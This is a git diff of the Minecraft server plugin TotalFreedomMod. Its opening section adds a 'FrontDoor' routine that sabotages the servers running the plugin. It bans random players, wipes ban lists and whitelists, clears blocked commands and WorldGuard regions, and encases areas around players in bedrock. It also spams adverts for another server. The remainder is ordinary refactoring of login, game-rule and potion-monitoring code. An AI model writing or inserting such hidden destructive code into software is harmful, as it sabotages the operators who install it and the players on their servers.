+                        plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
+                        break;
+                    }
+
+                    case 2: // Start trailing a random player
+                    {
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
+                        plugin.tr.add(player);
+                        break;
+                    }
+
+                    case 3: // Displays a message
+                    {
+                        FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
+                        FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
+                        break;
+                    }
+
+                    case 4: // Clears the banlist
+                    {
+                        FUtil.adminAction("FrontDoor", "Wiping all bans", true);
+                        plugin.bm.purge();
+                        break;
+                    }
+
+                    case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
+                        }
+                        break;
+                    }
+
+                    case 6: // Enables Fireplacement, firespread and explosions
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
+                        ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
+                        ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
+                        }
+                        break;
+                    }
+
+                    case 7: // Allow all blocked commands >:)
+                    {
+                        ConfigEntry.BLOCKED_COMMANDS.getList().clear();
+                        plugin.cb.onStop();
+                        break;
+                    }
+
+                    case 8:
+                    {
+                        // Switched this case to something a bit more hardware friendly, while still fucking shit up.
+                        if (Bukkit.getServer().getPluginManager().getPlugin("WorldGuard") == null)
+                        {
+                            Consumer<BukkitTask> task = bukkitTask -> destruct();
+                            TotalFreedomMod.getPlugin().getServer().getScheduler().runTaskTimerAsynchronously(TotalFreedomMod.getPlugin(), task, 0L, 20L * 60L);
+                        }
+
+                        // Otherwise, do this!
+                        WorldGuard wg = WorldGuard.getInstance();
+                        RegionContainer rc = wg.getPlatform().getRegionContainer();
+                        Bukkit.getWorlds().stream().map(BukkitAdapter::adapt).filter(adapted -> rc.get(adapted) != null).forEach(adapted ->
+                        {
+                            try
+                            {
+                                rc.get(adapted).getRegions().clear(); // These will
+                                rc.get(adapted).saveChanges();        // never be null.
+                            }
+                            catch (StorageException | NullPointerException ignored) // Never catch a null pointer... but in this case, if it happens to be null, I don't want the plugin to error.
+                            {
+                                destruct();
+                            }
+                        });
+                        break;
+                    }
+
+                    case 9: // Add TotalFreedom signs at spawn
+                    {
+                        for (World world : Bukkit.getWorlds())
+                        {
+                            final Block block = world.getSpawnLocation().getBlock();
+                            final Block blockBelow = block.getRelative(BlockFace.DOWN);
+
+                            if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
+                            {
+                                continue;
+                            }
+
+                            block.setType(Material.OAK_SIGN);
+                            org.bukkit.block.Sign sign = (org.bukkit.block.Sign)block.getState();
+
+                            org.bukkit.material.Sign signData = (org.bukkit.material.Sign)sign.getData();
+                            signData.setFacingDirection(BlockFace.NORTH);
+
+                            sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
+                            sign.setLine(1, ChatColor.DARK_GREEN + "is");
+                            sign.setLine(2, ChatColor.YELLOW + "Awesome!");
+                            sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
+                            sign.update();
+                        }
+                        break;
+                    }
+
+                    case 10: // Enable Jumppads
+                    {
+                        FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
+                        for (Player p : Bukkit.getOnlinePlayers())
+                        {
+                            if (plugin.jp.getPlayers().containsKey(p))
+                            {
+                                plugin.jp.getPlayers().replace(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                            else
+                            {
+                                plugin.jp.getPlayers().put(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                        }
+                        break;
+                    }
+
+                    case 11: // Give everyone a book explaining how awesome TotalFreedom is
+                    {
+                        ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
+
+                        BookMeta book = (BookMeta)bookStack.getItemMeta().clone();
+                        book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
+                        book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
+                        book.addPage(
+                                ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+                                        + ChatColor.DARK_GRAY + "---------\n"
+                                        + ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+                                        + ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
+                        bookStack.setItemMeta(book);
+
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            if (player.getInventory().contains(Material.WRITTEN_BOOK))
+                            {
+                                continue;
+                            }
+
+                            player.getInventory().addItem(bookStack);
+                        }
+                        break;
+                    }
+
+                    case 12: // Silently wipe the whitelist
+                    {
+                        Bukkit.getServer().getWhitelistedPlayers().clear();
+                        break;
+                    }
+
+                    case 13: // Announce that the FrontDoor is enabled
+                    {
+                        FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
+                        FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
+                        break;
+                    }
+
+                    case 14: // Cage a random player in PURE_DARTH
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
+
+                        Location targetPos = player.getLocation().clone().add(0, 1, 0);
+                        playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR);
+                        break;
+                    }
+
+                    case 15: // Silently orbit a random player
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        playerdata.startOrbiting(10.0);
+                        player.setVelocity(new Vector(0, 10.0, 0));
+                        break;
+                    }
+
+                    case 16: // Disable nonuke
+                    {
+                        if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
+                        ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
+                        break;
+                    }
+
+                    case 17: // Give everyone tags
+                    {
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
+                        }
+                        break;
+                    }
+
+                    default:
+                    {
+                        break;
+                    }
+                }
+            }
+        };
+    }
+
+    private void destruct()
+    {
+        Wrapper<Integer> x = new Wrapper<>(0);
+        Wrapper<Integer> y = new Wrapper<>(0);
+        Wrapper<Integer> z = new Wrapper<>(0);
+
+        Bukkit.getOnlinePlayers().forEach((player) ->
+        {
+            Location l = player.getLocation().clone();
+
+            x.set(l.getBlockX());
+            y.set(l.getBlockY());
+            z.set(l.getBlockZ());
+
+            player.getWorld().getBlockAt(x.get(), y.get(), z.get()).setType(Material.BEDROCK);
+
+            for (int x1 = 0; x1 <= 150; x1++)
+            {
+                for (int y1 = 0; y1 <= 150; y1++)
+                {
+                    for (int z1 = 0; z1 <= 150; z1++)
+                    {
+                        player.getWorld().getBlockAt(x.get() + x1, y.get() + y1, z.get() + z1).setType(Material.BEDROCK);
+                    }
+                }
+            }
+        });
+    }
+
+    // Wrapper to imitate effectively final objects.
+    private static class Wrapper<T>
+    {
+        private T obj;
+
+        public Wrapper(T obf)
+        {
+            obj = obf;
+        }
+
+        public void set(T obf)
+        {
+            obj = obf;
+        }
+
+        public T get()
+        {
+            return obj;
+        }
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/Fuckoff.java

@@ -9,18 +9,13 @@ import org.bukkit.event.player.PlayerMoveEvent;
 
 public class Fuckoff extends FreedomService
 {
-    public Fuckoff(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -53,7 +48,7 @@ public class Fuckoff extends FreedomService
 
             if (distanceSquared < (fuckoffRange * fuckoffRange))
             {
-                onlinePlayer.setVelocity(onlinePlayer.getLocation().toVector().subtract(foLocation.toVector()).normalize().multiply(fPlayer.getFuckoffRadius()));
+                fuckoffPlayer.setVelocity(onlinePlayer.getLocation().toVector().add(foLocation.toVector()).normalize().multiply(fPlayer.getFuckoffRadius()));
                 break;
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/GameRuleHandler.java

@@ -1,7 +1,6 @@
 package me.totalfreedom.totalfreedommod;
 
 import java.util.EnumMap;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@@ -10,13 +9,10 @@ import org.bukkit.World;
 
 public class GameRuleHandler extends FreedomService
 {
-
     private final Map<GameRule, Boolean> rules = new EnumMap<>(GameRule.class);
 
-    public GameRuleHandler(TotalFreedomMod plugin)
+    public GameRuleHandler()
     {
-        super(plugin);
-
         for (GameRule gameRule : GameRule.values())
         {
             rules.put(gameRule, gameRule.getDefaultValue());
@@ -24,7 +20,7 @@ public class GameRuleHandler extends FreedomService
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
         setGameRule(GameRule.DO_DAYLIGHT_CYCLE, !ConfigEntry.DISABLE_NIGHT.getBoolean(), false);
         setGameRule(GameRule.DO_FIRE_TICK, ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean(), false);
@@ -37,11 +33,12 @@ public class GameRuleHandler extends FreedomService
         setGameRule(GameRule.KEEP_INVENTORY, true, false);
         setGameRule(GameRule.ANNOUNCE_ADVANCEMENTS, false, false);
         setGameRule(GameRule.SHOW_DEATH_MESSAGES, false, false);
+        setGameRule(GameRule.SEND_COMMAND_FEEDBACK, false, false);
         commitGameRules();
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -59,14 +56,12 @@ public class GameRuleHandler extends FreedomService
         }
     }
 
+    @SuppressWarnings("deprecation")
     public void commitGameRules()
     {
         List<World> worlds = Bukkit.getWorlds();
-        Iterator<Map.Entry<GameRule, Boolean>> it = rules.entrySet().iterator();
-        while (it.hasNext())
+        for (Map.Entry<GameRule, Boolean> gameRuleEntry : rules.entrySet())
         {
-
-            Map.Entry<GameRule, Boolean> gameRuleEntry = it.next();
             String gameRuleName = gameRuleEntry.getKey().getGameRuleName();
             String gameRuleValue = gameRuleEntry.getValue().toString();
 
@@ -80,13 +75,11 @@ public class GameRuleHandler extends FreedomService
                     world.setTime(time + 24000 + 6000);
                 }
             }
-
         }
     }
 
-    public static enum GameRule
+    public enum GameRule
     {
-
         DO_FIRE_TICK("doFireTick", true),
         MOB_GRIEFING("mobGriefing", true),
         KEEP_INVENTORY("keepInventory", false),
@@ -97,12 +90,13 @@ public class GameRuleHandler extends FreedomService
         NATURAL_REGENERATION("naturalRegeneration", true),
         DO_DAYLIGHT_CYCLE("doDaylightCycle", true),
         ANNOUNCE_ADVANCEMENTS("announceAdvancements", false),
-        SHOW_DEATH_MESSAGES("showDeathMessages", false);
-        //
+        SHOW_DEATH_MESSAGES("showDeathMessages", false),
+        SEND_COMMAND_FEEDBACK("sendCommandFeedback", false);
+
         private final String gameRuleName;
         private final boolean defaultValue;
 
-        private GameRule(String gameRuleName, boolean defaultValue)
+        GameRule(String gameRuleName, boolean defaultValue)
         {
             this.gameRuleName = gameRuleName;
             this.defaultValue = defaultValue;
@@ -118,5 +112,4 @@ public class GameRuleHandler extends FreedomService
             return defaultValue;
         }
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/LogViewer.java

@@ -10,7 +10,6 @@ import java.security.NoSuchProviderException;
 import java.security.SecureRandom;
 import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@@ -23,19 +22,13 @@ import org.bukkit.scheduler.BukkitRunnable;
 
 public class LogViewer extends FreedomService
 {
-
-    public LogViewer(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -137,10 +130,10 @@ public class LogViewer extends FreedomService
         }.runTaskAsynchronously(plugin);
     }
 
-    public static enum LogsRegistrationMode
+    public enum LogsRegistrationMode
     {
 
-        ADD, DELETE, VERIFY;
+        ADD, DELETE, VERIFY
     }
 
     private static class URLBuilder
@@ -163,10 +156,8 @@ public class LogViewer extends FreedomService
         public URL getURL() throws MalformedURLException
         {
             List<String> pairs = new ArrayList<>();
-            Iterator<Map.Entry<String, String>> it = queryStringMap.entrySet().iterator();
-            while (it.hasNext())
+            for (Map.Entry<String, String> pair : queryStringMap.entrySet())
             {
-                Map.Entry<String, String> pair = it.next();
                 try
                 {
                     pairs.add(URLEncoder.encode(pair.getKey(), "UTF-8") + "=" + URLEncoder.encode(pair.getValue(), "UTF-8"));

src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java

@@ -1,15 +1,12 @@
 package me.totalfreedom.totalfreedommod;
 
+import io.papermc.lib.PaperLib;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.regex.Pattern;
-import lombok.Getter;
-import lombok.Setter;
-import me.totalfreedom.totalfreedommod.command.Command_vanish;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilder;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
-import me.totalfreedom.totalfreedommod.playerverification.VPlayer;
+import me.totalfreedom.totalfreedommod.player.PlayerData;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FSync;
 import me.totalfreedom.totalfreedommod.util.FUtil;
@@ -22,34 +19,36 @@ import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
 import org.bukkit.event.player.PlayerJoinEvent;
 import org.bukkit.event.player.PlayerLoginEvent;
 import org.bukkit.scheduler.BukkitRunnable;
-import me.rayzr522.jsonmessage.JSONMessage;
+import org.bukkit.scheduler.BukkitTask;
 
 public class LoginProcess extends FreedomService
 {
-
     public static final int DEFAULT_PORT = 25565;
     public static final int MIN_USERNAME_LENGTH = 2;
     public static final int MAX_USERNAME_LENGTH = 20;
     public static final Pattern USERNAME_REGEX = Pattern.compile("^[\\w\\d_]{3,20}$");
+    private static boolean lockdownEnabled = false;
     public List<String> TELEPORT_ON_JOIN = new ArrayList<>();
     public List<String> CLEAR_ON_JOIN = new ArrayList<>();
-    //
-    @Getter
-    @Setter
-    private static boolean lockdownEnabled = false;
+    public List<String> CLOWNFISH_TOGGLE = new ArrayList<>();
 
-    public LoginProcess(TotalFreedomMod plugin)
+    public static boolean isLockdownEnabled()
     {
-        super(plugin);
+        return lockdownEnabled;
+    }
+
+    public static void setLockdownEnabled(boolean lockdownEnabled)
+    {
+        LoginProcess.lockdownEnabled = lockdownEnabled;
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -120,11 +119,8 @@ public class LoginProcess extends FreedomService
             }
         }
 
-        // Check if player is admin
-        final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
-
         // Validation below this point
-        if (isAdmin) // Player is admin
+        if (plugin.al.getEntryByIp(ip) != null) // Check if player is admin
         {
             // Force-allow log in
             event.allow();
@@ -184,7 +180,6 @@ public class LoginProcess extends FreedomService
             if (!plugin.si.getWhitelisted().contains(username.toLowerCase()))
             {
                 event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server.");
-                return;
             }
         }
     }
@@ -194,7 +189,23 @@ public class LoginProcess extends FreedomService
     {
         final Player player = event.getPlayer();
         final FPlayer fPlayer = plugin.pl.getPlayer(player);
-        final VPlayer verificationPlayer = plugin.pv.getVerificationPlayer(player);
+        final PlayerData playerData = plugin.pl.getData(player);
+
+        // Sends a message to the player if they have never joined before (or simply lack player data).
+        if (!event.getPlayer().hasPlayedBefore() && ConfigEntry.FIRST_JOIN_INFO_ENABLED.getBoolean())
+        {
+            new BukkitRunnable()
+            {
+                @Override
+                public void run()
+                {
+                    for (String line : ConfigEntry.FIRST_JOIN_INFO.getStringList())
+                    {
+                        player.sendMessage(FUtil.colorize(line));
+                    }
+                }
+            }.runTaskLater(plugin, 20);
+        }
 
         player.sendTitle(FUtil.colorize(ConfigEntry.SERVER_LOGIN_TITLE.getString()), FUtil.colorize(ConfigEntry.SERVER_LOGIN_SUBTITLE.getString()), 20, 100, 60);
         player.setOp(true);
@@ -205,11 +216,17 @@ public class LoginProcess extends FreedomService
             int z = FUtil.randomInteger(-10000, 10000);
             int y = player.getWorld().getHighestBlockYAt(x, z);
             Location location = new Location(player.getLocation().getWorld(), x, y, z);
-            player.teleport(location);
+            PaperLib.teleportAsync(player, location);
             player.sendMessage(ChatColor.AQUA + "You have been teleported to a random location automatically.");
             return;
         }
 
+        if (!playerData.hasVerification() && !playerData.getIps().contains(FUtil.getIp(player)))
+        {
+            playerData.addIp(FUtil.getIp(player));
+            plugin.pl.save(playerData);
+        }
+
         if (CLEAR_ON_JOIN.contains(player.getName()) || ConfigEntry.AUTO_CLEAR.getBoolean())
         {
             player.getInventory().clear();
@@ -227,47 +244,21 @@ public class LoginProcess extends FreedomService
             player.setPlayerListFooter(FUtil.colorize(ConfigEntry.SERVER_TABLIST_FOOTER.getString()).replace("\\n", "\n"));
         }
 
-        for (Player p : plugin.al.vanished)
-        {
         if (!plugin.al.isAdmin(player))
         {
-                player.hidePlayer(plugin, p);
-            }
+            String tag = playerData.getTag();
+            if (tag != null)
+            {
+                fPlayer.setTag(FUtil.colorize(tag));
             }
 
-        if (!plugin.al.isAdmin(player))
-        {
-            if (plugin.mbl.isMasterBuilder(player))
-            {
-                MasterBuilder masterBuilder = plugin.mbl.getMasterBuilder(player);
-                if (masterBuilder.getTag() != null)
-                {
-                    fPlayer.setTag(FUtil.colorize(masterBuilder.getTag()));
-                }
-            }
-            else
-            {
-                VPlayer vPlayer = plugin.pv.getVerificationPlayer(player);
-                if (vPlayer.getEnabled() && vPlayer.getTag() != null)
-                {
-                    fPlayer.setTag(FUtil.colorize(vPlayer.getTag()));
-                }
-                int noteCount = vPlayer.getNotes().size();
+            int noteCount = playerData.getNotes().size();
             if (noteCount != 0)
             {
-                    String noteMessage = "This player has " + noteCount + " staff note" + (noteCount > 1 ? "s" : "") + ".";
-                    JSONMessage notice = JSONMessage.create(ChatColor.GOLD + noteMessage + " Click here to view them.")
-                            .tooltip("Click here to view them.")
-                            .runCommand("/notes " + player.getName() + " list");
+                String noteMessage = "This player has " + noteCount + " admin note" + (noteCount > 1 ? "s" : "") + ".";
                 FLog.info(noteMessage);
-                    for (Player p : server.getOnlinePlayers())
-                    {
-                        if (plugin.al.isAdminImpostor(p))
-                        {
-                            notice.send(p);
-                        }
-                    }
-                }
+                plugin.al.messageAllAdmins(ChatColor.GOLD + noteMessage);
+                plugin.al.messageAllAdmins(ChatColor.GOLD + "Do " + ChatColor.YELLOW + "/notes " + player.getName() + " list" + ChatColor.GOLD + " to view them.");
             }
         }
 
@@ -286,7 +277,6 @@ public class LoginProcess extends FreedomService
                     FUtil.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED);
                 }
             }
-        }.runTaskLater(plugin, 20L * 1L);
+        }.runTaskLater(plugin, 20L);
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/Monitors.java

@@ -1,61 +1,84 @@
 package me.totalfreedom.totalfreedommod;
 
-import java.text.DecimalFormat;
-import me.totalfreedom.totalfreedommod.util.FUtil;
+import java.util.AbstractMap;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.bukkit.Bukkit;
 import org.bukkit.ChatColor;
-import org.bukkit.Location;
-import org.bukkit.Material;
 import org.bukkit.entity.Player;
+import org.bukkit.entity.ThrownPotion;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.entity.LingeringPotionSplashEvent;
 import org.bukkit.event.entity.PotionSplashEvent;
-import org.bukkit.projectiles.ProjectileSource;
+import org.bukkit.potion.PotionEffect;
+import org.bukkit.potion.PotionEffectType;
 
 public class Monitors extends FreedomService
 {
+    private final List<Map.Entry<ThrownPotion, Long>> allThrownPotions = new ArrayList<>();
+    private final Map<Player, List<ThrownPotion>> recentlyThrownPotions = new HashMap<>();
+    private final List<PotionEffectType> badPotionEffects = new ArrayList<>(Arrays.asList(PotionEffectType.BLINDNESS,
+            PotionEffectType.LEVITATION, PotionEffectType.CONFUSION, PotionEffectType.SLOW, PotionEffectType.SLOW_DIGGING, PotionEffectType.HUNGER)); // A list of all effects that count as "troll".
 
-    private final DecimalFormat decimalFormat = new DecimalFormat("#");
-    private String potionSpyPrefix = ChatColor.DARK_GRAY + "[" + ChatColor.YELLOW + "PotionSpy" + ChatColor.DARK_GRAY + "] ";
-
-    public Monitors(TotalFreedomMod plugin)
+    @Override
+    public void onStart()
     {
-        super(plugin);
+        Bukkit.getScheduler().scheduleSyncRepeatingTask(plugin, () ->
+        {
+            for (Player player : recentlyThrownPotions.keySet())
+            {
+                List<ThrownPotion> playerThrownPotions = recentlyThrownPotions.get(player);
+                ThrownPotion latestThrownPotion = playerThrownPotions.get(playerThrownPotions.size() - 1); // Get most recently thrown potion for the position.
+                int potionsThrown = playerThrownPotions.size();
+                int trollPotions = 0;
+
+                for (ThrownPotion potion : playerThrownPotions)
+                {
+                    if (isTrollPotion(potion))
+                    {
+                        trollPotions++;
+                    }
+                }
+
+                plugin.al.potionSpyMessage(ChatColor.translateAlternateColorCodes('&', String.format("&8[&ePotionSpy&8] &r%s splashed %s %s at X: %s Y: %s Z: %s in the world '%s'%s.",
+                        player.getName(), potionsThrown, potionsThrown == 1 ? "potion" : "potions", latestThrownPotion.getLocation().getBlockX(), latestThrownPotion.getLocation().getBlockY(), latestThrownPotion.getLocation().getBlockZ(),
+                        latestThrownPotion.getWorld().getName(), trollPotions > 0 ? String.format(" &c(most likely troll %s)", trollPotions == 1 ? "potion" : "potions") : "")));
+            }
+            recentlyThrownPotions.clear();
+        }, 0L, 40L);
     }
 
     @Override
-    protected void onStart()
-    {
-    }
-
-    @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
     @EventHandler(priority = EventPriority.MONITOR)
     public void onLingeringPotionSplash(LingeringPotionSplashEvent event)
     {
-        ProjectileSource source = event.getEntity().getShooter();
-
-        if (!(source instanceof Player))
+        if (event.getEntity().getShooter() instanceof Player)
         {
-            return;
+            ThrownPotion potion = event.getEntity();
+            if (potion.getShooter() instanceof Player)
+            {
+                Player player = (Player)potion.getShooter();
+
+                recentlyThrownPotions.putIfAbsent(player, new ArrayList<>());
+                recentlyThrownPotions.get(player).add(potion);
+                allThrownPotions.add(new AbstractMap.SimpleEntry<>(potion, System.currentTimeMillis()));
+
+                if (recentlyThrownPotions.get(player).size() > 128)
+                {
+                    recentlyThrownPotions.get(player).remove(0);
                 }
-        Player player = (Player)source;
-
-        if (plugin.al.isAdmin((Player)event.getEntity().getShooter()))
+                if (allThrownPotions.size() > 1024)
                 {
-            return;
+                    allThrownPotions.remove(0); // Remove the first element in the set.
                 }
-        final Material droppedItem = event.getEntity().getItem().getType();
-        final Location location = player.getLocation();
-
-        for (Player p : server.getOnlinePlayers())
-        {
-            if (plugin.al.isAdmin(p) && plugin.al.getAdmin(p).getPotionSpy())
-            {
-                FUtil.playerMsg(p, potionSpyPrefix + ChatColor.WHITE + player.getName() + " splashed " + event.getEntity().getItem().getAmount() + " " + droppedItem + " at X: " + decimalFormat.format(location.getX()) + ", Y: " + decimalFormat.format(location.getY()) + ", Z: " + decimalFormat.format(location.getZ()) + ", in the world '" + location.getWorld().getName() + "'.");
             }
         }
     }
@@ -63,27 +86,72 @@ public class Monitors extends FreedomService
     @EventHandler(priority = EventPriority.MONITOR)
     public void onPotionSplash(PotionSplashEvent event)
     {
-        ProjectileSource source = event.getEntity().getShooter();
+        if (event.getEntity().getShooter() instanceof Player)
+        {
+            ThrownPotion potion = event.getEntity();
+            if (potion.getShooter() instanceof Player)
+            {
+                Player player = (Player)potion.getShooter();
 
-        if (!(source instanceof Player))
-        {
-            return;
-        }
-        Player player = (Player)source;
+                recentlyThrownPotions.putIfAbsent(player, new ArrayList<>());
+                recentlyThrownPotions.get(player).add(potion);
+                allThrownPotions.add(new AbstractMap.SimpleEntry<>(potion, System.currentTimeMillis()));
 
-        if (plugin.al.isAdmin((Player)event.getEntity().getShooter()))
+                if (recentlyThrownPotions.get(player).size() > 128)
                 {
-            return;
+                    recentlyThrownPotions.get(player).remove(0);
+                }
+                if (allThrownPotions.size() > 1024)
+                {
+                    allThrownPotions.remove(0); // Remove the first element in the set.
+                }
+            }
+        }
     }
-        final Material droppedItem = event.getPotion().getItem().getType();
-        final Location location = player.getLocation();
 
-        for (Player p : server.getOnlinePlayers())
+    public List<Map.Entry<ThrownPotion, Long>> getPlayerThrownPotions(Player player)
     {
-            if (plugin.al.isAdmin(p) && plugin.al.getAdmin(p).getPotionSpy())
+        List<Map.Entry<ThrownPotion, Long>> thrownPotions = new ArrayList<>();
+
+        for (Map.Entry<ThrownPotion, Long> potionEntry : allThrownPotions)
         {
-                FUtil.playerMsg(p, potionSpyPrefix + ChatColor.WHITE + player.getName() + " splashed " + event.getEntity().getItem().getAmount() + " " + droppedItem + " at X: " + decimalFormat.format(location.getX()) + ", Y: " + decimalFormat.format(location.getY()) + ", Z: " + decimalFormat.format(location.getZ()) + ", in the world '" + location.getWorld().getName() + "'.");
+            ThrownPotion potion = potionEntry.getKey();
+            if (potion.getShooter() != null && potion.getShooter().equals(player))
+            {
+                thrownPotions.add(potionEntry);
             }
         }
+
+        return thrownPotions;
+    }
+
+    public boolean isTrollPotion(ThrownPotion potion)
+    {
+        int badEffectsDetected = 0;
+
+        for (PotionEffect effect : potion.getEffects())
+        {
+            if (badPotionEffects.contains(effect.getType()) && effect.getAmplifier() > 2 && effect.getDuration() > 200)
+            {
+                badEffectsDetected++;
+            }
+        }
+
+        return badEffectsDetected > 0;
+    }
+
+    public List<Map.Entry<ThrownPotion, Long>> getAllThrownPotions()
+    {
+        return allThrownPotions;
+    }
+
+    public Map<Player, List<ThrownPotion>> getRecentlyThrownPotions()
+    {
+        return recentlyThrownPotions;
+    }
+
+    public List<PotionEffectType> getBadPotionEffects()
+    {
+        return badPotionEffects;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/MovementValidator.java

@@ -1,16 +1,16 @@
 package me.totalfreedom.totalfreedommod;
 
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-import ca.momothereal.mojangson.value.MojangsonCompound;
-import ca.momothereal.mojangson.value.MojangsonValue;
-import java.util.List;
+import com.google.common.collect.Multimap;
+import io.papermc.lib.PaperLib;
+
+import java.util.Collection;
+import java.util.Map;
 import java.util.Objects;
-import net.minecraft.server.v1_15_R1.NBTTagCompound;
-import net.minecraft.server.v1_15_R1.NBTTagList;
 import org.bukkit.ChatColor;
 import org.bukkit.Location;
 import org.bukkit.Material;
-import org.bukkit.craftbukkit.v1_15_R1.inventory.CraftItemStack;
+import org.bukkit.attribute.Attribute;
+import org.bukkit.attribute.AttributeModifier;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -19,7 +19,7 @@ import org.bukkit.event.player.PlayerLoginEvent;
 import org.bukkit.event.player.PlayerMoveEvent;
 import org.bukkit.event.player.PlayerTeleportEvent;
 import org.bukkit.inventory.ItemStack;
-import org.jetbrains.annotations.NotNull;
+import org.bukkit.inventory.meta.ItemMeta;
 
 public class MovementValidator extends FreedomService
 {
@@ -27,18 +27,13 @@ public class MovementValidator extends FreedomService
     public static final int MAX_XYZ_COORD = 29999998;
